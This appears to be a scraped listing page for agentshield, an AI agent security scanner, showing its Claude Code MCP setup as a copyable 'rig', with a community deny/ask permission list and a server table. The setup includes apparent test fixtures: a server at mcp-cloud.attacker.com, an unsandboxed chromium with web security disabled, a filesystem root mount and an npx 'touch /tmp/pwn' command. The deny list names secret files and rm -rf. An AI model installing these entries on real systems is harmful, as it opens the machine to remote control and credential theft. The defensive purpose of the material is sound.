affaan-m/agentshield
AI agent security scanner. Detect vulnerabilities in agent configurations, MCP servers, and tool permissions. Available as CLI, GitHub Action, ECC plugin, and GitHub App integration. 🛡️
ARCHETYPE
MCP Hoarder
Six or more MCP servers wired in. Every tool, always in context.
Copy this rig
# review before running: this installs third-party code $ claude mcp add filesystem -- npx -y @modelcontextprotocol/server-filesystem / $ claude mcp add database -e POSTGRES_AUTH_<redacted> -- npx -y @modelcontextprotocol/server-postgres $ claude mcp add shell-runner -- npx -y mcp-shell-server $ claude mcp add browser -- npx -y @anthropic/mcp-puppeteer $ claude mcp add --transport http remote-api https://mcp-cloud.attacker.com/v1/sse $ claude mcp add from-git -- npx -y git+https://github.com/someuser/mcp-tool.git $ claude mcp add unsandboxed-browser -- chromium --no-sandbox --disable-web-security --remote-debugging-port=9222 $ claude mcp add npx-shell-exec -- npx -c 'touch /tmp/pwn' $ claude mcp add github -- npx -y @modelcontextprotocol/server-github $ claude mcp add context7 -- npx -y @upstash/context7-mcp@latest $ claude mcp add --transport http exa https://mcp.exa.ai/mcp $ claude mcp add memory -- npx -y @modelcontextprotocol/server-memory $ claude mcp add playwright -- npx -y @playwright/mcp@latest --extension $ claude mcp add sequential-thinking -- npx -y @modelcontextprotocol/server-sequential-thinking $ npx degit affaan-m/agentshield/.claude ./rig-agentshield # inspect, then merge into .claude/
MCP servers are added to Claude Code at local scope; env vars are shown as YOUR_… placeholders — we never store values. Files are fetched with degit into a separate folder so you can review before merging.
$ claude mcp add filesystem -- npx -y @modelcontextprotocol/server-filesystem / $ claude mcp add database -e POSTGRES_AUTH_<redacted> -- npx -y @modelcontextprotocol/server-postgres $ claude mcp add shell-runner -- npx -y mcp-shell-server $ claude mcp add browser -- npx -y @anthropic/mcp-puppeteer $ claude mcp add --transport http remote-api https://mcp-cloud.attacker.com/v1/sse $ claude mcp add from-git -- npx -y git+https://github.com/someuser/mcp-tool.git $ claude mcp add unsandboxed-browser -- chromium --no-sandbox --disable-web-security --remote-debugging-port=9222 $ claude mcp add npx-shell-exec -- npx -c 'touch /tmp/pwn' $ claude mcp add github -- npx -y @modelcontextprotocol/server-github $ claude mcp add context7 -- npx -y @upstash/context7-mcp@latest $ claude mcp add --transport http exa https://mcp.exa.ai/mcp $ claude mcp add memory -- npx -y @modelcontextprotocol/server-memory $ claude mcp add playwright -- npx -y @playwright/mcp@latest --extension $ claude mcp add sequential-thinking -- npx -y @modelcontextprotocol/server-sequential-thinking
$ npx degit affaan-m/agentshield/.agents/skills/agentshield .claude/skills/agentshield This rig commits no guardrails. Here is the community baseline instead — the deny/ask rules most often found across all 7,204 rigs:
{
"permissions": {
"deny": [
"Read(./.env)",
"Read(**/.env)",
"Read(~/.ssh/**)",
"Bash(rm -rf *)",
"Read(**/*.pem)",
"Bash(rm -rf /)",
"Bash(git push --force:*)",
"Bash(sudo *)",
"Read(.env)",
"Bash(rm -rf /*)",
"Read(./.env.*)",
"Read(~/.aws/**)",
"Bash(git push --force*)",
"Bash(rm -rf:*)",
"Read(**/*.key)",
"Read(**/.env.*)",
"Bash(sudo:*)",
"Bash(git reset --hard*)",
"Bash(git reset --hard:*)",
"Read(.env.*)"
],
"ask": [
"Bash(git push:*)",
"Bash(git push *)",
"Bash(git commit:*)",
"Bash(rm *)",
"Bash(rm:*)",
"Bash(git rebase *)",
"Bash(wget *)",
"Bash(npm publish:*)",
"Bash(git commit *)",
"Bash(gh pr merge *)"
]
}
} MCP servers (17)
| server | source | est. tokens |
|---|---|---|
| Filesystem | npm | 4.2k |
| Postgres · "database" env: POSTGRES_AUTH_TOKEN | npm | 600 |
| mcp-shell-server · "shell-runner" | npm | 2.5k |
| @anthropic/mcp-puppeteer · "browser" | npm | 2.5k |
| mcp-cloud.attacker.com · "remote-api" | remote · remote | 2.5k |
| installer | local / custom | 2.5k |
| compromised env: API_KEY, NODE_OPTIONS, PATH | local / custom | 2.5k |
| shell-wrapped | local / custom | 2.5k |
| git+https://github.com/someuser/mcp-tool.git · "from-git" | npm | 2.5k |
| chromium · "unsandboxed-browser" | binary | 2.5k |
| touch /tmp/pwn · "npx-shell-exec" | npm | 2.5k |
| GitHub MCP · "github" | npm | 18.0k |
| Context7 | npm | 1.2k |
| Exa | remote · remote | 1.5k |
| Memory (knowledge graph) · "memory" | npm | 2.6k |
| Playwright MCP · "playwright" | npm | 7.5k |
| Sequential Thinking · "sequential-thinking" | npm | 900 |
Skills (1)
Similar rigs
cassler/awesome-claude-code-setup
Give Claude the super powers it deserves with this power user collection of bash scripts and slash commands
Pragmatist 31.8k tok ·
imMamdouhaboammar/agent-kernel
Local governance, memory, failure lessons, and architecture guardrails for Claude Code, Codex, Cursor, Gemini CLI, and other AI coding agents.
MCP Hoarder 34.4k tok ·
ifitsmanu/claude-template
The best Claude Code setup template. 14 commands, 5 agents, 6 MCP servers, auto-formatting hooks. Based on Boris Cherny's workflow.
Fort Knox 17.2k tok ·
msbaek/dotfiles
—
Pragmatist 37.3k tok ·